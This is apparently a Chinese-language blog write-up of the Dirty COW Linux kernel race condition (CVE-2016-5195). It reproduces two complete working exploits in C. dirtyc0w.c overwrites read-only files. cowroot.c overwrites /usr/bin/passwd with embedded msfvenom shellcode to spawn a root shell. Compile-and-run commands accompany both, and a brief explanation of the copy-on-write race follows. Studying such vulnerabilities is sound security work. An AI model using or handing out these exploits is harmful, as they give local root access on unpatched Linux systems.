Dirty Cow(CVE-2016-5195) 漏洞分析

CVE-2016-5195，又被称为Dirty COW（脏牛漏洞），是一个存在于Linux内核中的严重本地权限提升漏洞。这个漏洞首先在2016年被发现，其名称来源于“Copy-On-Write”机制的缩写“COW”，CVE-2016-5195是一个内核竞态条件漏洞，影响范围：Linux Kernel > 2.6.22。

实验环境#

VMware虚拟机

Linux 4.4.0

漏洞复现#

dirtyc0w.c这个PoC可以实现向任意可读文件写任意内容。

1
#include <stdio.h>
2
#include <sys/mman.h>
3
#include <fcntl.h>
4
#include <pthread.h>
5
#include <unistd.h>
6
#include <sys/stat.h>
7
#include <string.h>
8
#include <stdint.h>
9

10
void *map; //存储文件映射的内存地址
11
int f;  //文件描述符
12
struct stat st;  //存储文件的状态信息
13
char *name;  //文件名
14

15
 /* madviseThread 函数
16
 * 该函数在一个独立线程中运行，通过不断调用 madvise 来让操作系统认为映射的页面不再需要。
17
 * 传入的参数是目标文件的名称，执行系统调用 madvise。
18
 */
19
void *madviseThread(void *arg)
20
{
21
  char *str;
22
  str=(char*)arg;
23
  int i,c=0;
24
  for(i=0;i<100000000;i++)  // 循环多次调用 madvise，制造竞争条件
25
  {
26
      /*
27
         * madvise 函数告诉操作系统指定内存区域的使用方式。
28
         * MADV_DONTNEED 提示系统不再需要该内存区域的内容，
29
         * 操作系统可以丢弃该区域的页面，促使文件重新加载进内存。
30
      */
31
    c+=madvise(map,100,MADV_DONTNEED);
32
  }
33
  printf("madvise %d\n\n",c);
34
}
35

36
/* procselfmemThread 函数
37
 * 该函数在另一个线程中运行，不断地向 /proc/self/mem 写入数据。
38
 * 传入的参数是目标文件的新内容。
39
 */
40
void *procselfmemThread(void *arg)
41
{
42
  char *str;
43
  str=(char*)arg;  // 获取传入的新内容
44

45
    /*
46
     * /proc/self/mem 是一个特殊文件，允许进程访问自己内存中的内容。
47
     * 打开这个文件后可以对进程内存中的内容进行读写操作。
48
     */
49
  int f=open("/proc/self/mem",O_RDWR);
50
  int i,c=0;
51

52
  for(i=0;i<100000000;i++) {  // 循环多次写入数据，制造竞争条件
53

54
    /*
55
         * lseek 将文件指针移动到映射的内存区域，便于写入新的内容。
56
         * map 是映射的内存地址，我们通过 lseek 定位到该地址。
57
    */
58
    lseek(f,(uintptr_t) map,SEEK_SET);  // 将文件指针重置到映射的内存位置
59

60
      /*
61
         * write 函数用于向文件写入数据，在这里向映射的内存中写入新内容。
62
         * 由于有竞争条件，这个写操作会覆盖文件的原始内容。
63
      */
64
    c+=write(f,str,strlen(str));
65
  }
66
  printf("procselfmem %d\n\n", c);
67
}
68

69

70
int main(int argc,char *argv[])
71
{
72
  if (argc<3) {
73
  (void)fprintf(stderr, "%s\n",
74
      "usage: dirtyc0w target_file new_content");
75
  return 1;
76
  }
77
  pthread_t pth1,pth2;
78
  f=open(argv[1],O_RDONLY);
79
  fstat(f,&st);
80
  name=argv[1];
81

82
   /*
83
     * 使用 mmap 将文件映射到内存中，使用 MAP_PRIVATE 和 PROT_READ。
84
     * MAP_PRIVATE 表示私有映射，修改不会影响其他映射该文件的进程。
85
     * PROT_READ 表示映射区域是只读的。
86
     */
87
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
88
  printf("mmap %zx\n\n",(uintptr_t) map);
89
  /*
90
     * 创建两个线程：
91
     * - 第一个线程调用 madviseThread，传入文件名，制造竞争条件。
92
     * - 第二个线程调用 procselfmemThread，传入新内容，尝试修改文件内容。
93
     */
94
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
95
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
96
  //  等待两个线程执行完毕，使用 pthread_join 确保主线程在它们结束前不会退出。
97
  pthread_join(pth1,NULL);
98
  pthread_join(pth2,NULL);
99
  return 0;
100
}

执行shell命令：

1
####################### dirtyc0w.c #######################
2
$ sudo -s
3
# echo this is not a test > foo
4
# chmod 0404 foo
5
$ ls -lah foo
6
-r-----r-- 1 root root 19 Oct 20 15:23 foo
7
$ cat foo
8
this is not a test
9
$ gcc -pthread dirtyc0w.c -o dirtyc0w
10
$ ./dirtyc0w foo m00000000000000000
11
mmap 56123000
12
madvise 0
13
procselfmem 1800000000
14
$ cat foo
15
m00000000000000000
16
####################### dirtyc0w.c #######################

cowroot.c可以实现提权。

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <sys/mman.h>
4
#include <fcntl.h>
5
#include <pthread.h>
6
#include <string.h>
7
#include <unistd.h>
8

9
void *map;
10
int f;
11
int stop = 0;
12
struct stat st;
13
char *name;
14
pthread_t pth1,pth2,pth3;
15

16
// change if no permissions to read
17
char suid_binary[] = "/usr/bin/passwd";
18

19
/*
20
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
21
*/
22
unsigned char sc[] = {
23
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
24
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
25
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
26
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
27
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
28
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
29
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
30
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
31
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
32
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
33
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
34
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
35
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
36
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
37
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
38
};
39
unsigned int sc_len = 177;
40

41
/*
42
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
43
unsigned char sc[] = {
44
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
45
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
46
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
47
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
48
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
49
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
50
  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
51
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
52
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
53
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
54
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
55
  0x89, 0xe1, 0xcd, 0x80
56
};
57
unsigned int sc_len = 136;
58
*/
59

60
void *madviseThread(void *arg)
61
{
62
    char *str;
63
    str=(char*)arg;
64
    int i,c=0;
65
    for(i=0;i<1000000 && !stop;i++) {
66
        c+=madvise(map,100,MADV_DONTNEED);
67
    }
68
    printf("thread stopped\n");
69
}
70

71
void *procselfmemThread(void *arg)
72
{
73
    char *str;
74
    str=(char*)arg;
75
    int f=open("/proc/self/mem",O_RDWR);
76
    int i,c=0;
77
    for(i=0;i<1000000 && !stop;i++) {
78
        lseek(f,map,SEEK_SET);
79
        c+=write(f, str, sc_len);
80
    }
81
    printf("thread stopped\n");
82
}
83

84
void *waitForWrite(void *arg) {
85
    char buf[sc_len];
86

87
    for(;;) {
88
        FILE *fp = fopen(suid_binary, "rb");
89

90
        fread(buf, sc_len, 1, fp);
91

92
        if(memcmp(buf, sc, sc_len) == 0) {
93
            printf("%s overwritten\n", suid_binary);
94
            break;
95
        }
96

97
        fclose(fp);
98
        sleep(1);
99
    }
100

101
    stop = 1;
102

103
    printf("Popping root shell.\n");
104
    printf("Don't forget to restore /tmp/bak\n");
105

106
    system(suid_binary);
107
}
108

109
int main(int argc,char *argv[]) {
110
    char *backup;
111

112
    printf("DirtyCow root privilege escalation\n");
113
    printf("Backing up %s to /tmp/bak\n", suid_binary);
114

115
    asprintf(&backup, "cp %s /tmp/bak", suid_binary);
116
    system(backup);
117

118
    f = open(suid_binary,O_RDONLY);
119
    fstat(f,&st);
120

121
    printf("Size of binary: %d\n", st.st_size);
122

123
    char payload[st.st_size];
124
    memset(payload, 0x90, st.st_size);
125
    memcpy(payload, sc, sc_len+1);
126

127
    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
128

129
    printf("Racing, this may take a while..\n");
130

131
    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
132
    pthread_create(&pth2, NULL, &procselfmemThread, payload);
133
    pthread_create(&pth3, NULL, &waitForWrite, NULL);
134

135
    pthread_join(pth3, NULL);
136

137
    return 0;
138
}

shell命令：

1
##(un)comment correct payload first (x86 or x64)!
2
gcc cowroot.c -o cowroot -pthread
3
./cowroot

漏洞分析#

分析漏洞需要了解以下知识：

写时拷贝
页式内存管理
缺页中断处理

该漏洞的成因是get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中，可能发生竞态条件造成COW过程被破坏，导致出现写数据到进程地址空间内只读内存区域的机会。当我们向带有MAP_PRIVATE标志的只读文件映射区域写数据时，会产生一个映射文件的复制(COW)，对此区域的任何修改都不会写回原来的文件，如果上述的竞态条件发生，就能成功的写回原来的文件。比如我们修改su或者passwd程序就可以达到root的目的。

其中，MAP_PRIVATE标志指示创建的映射区域是写时拷贝的私有映射区域，且对映射区域的任何写操作都不会影响底层文件或其他进程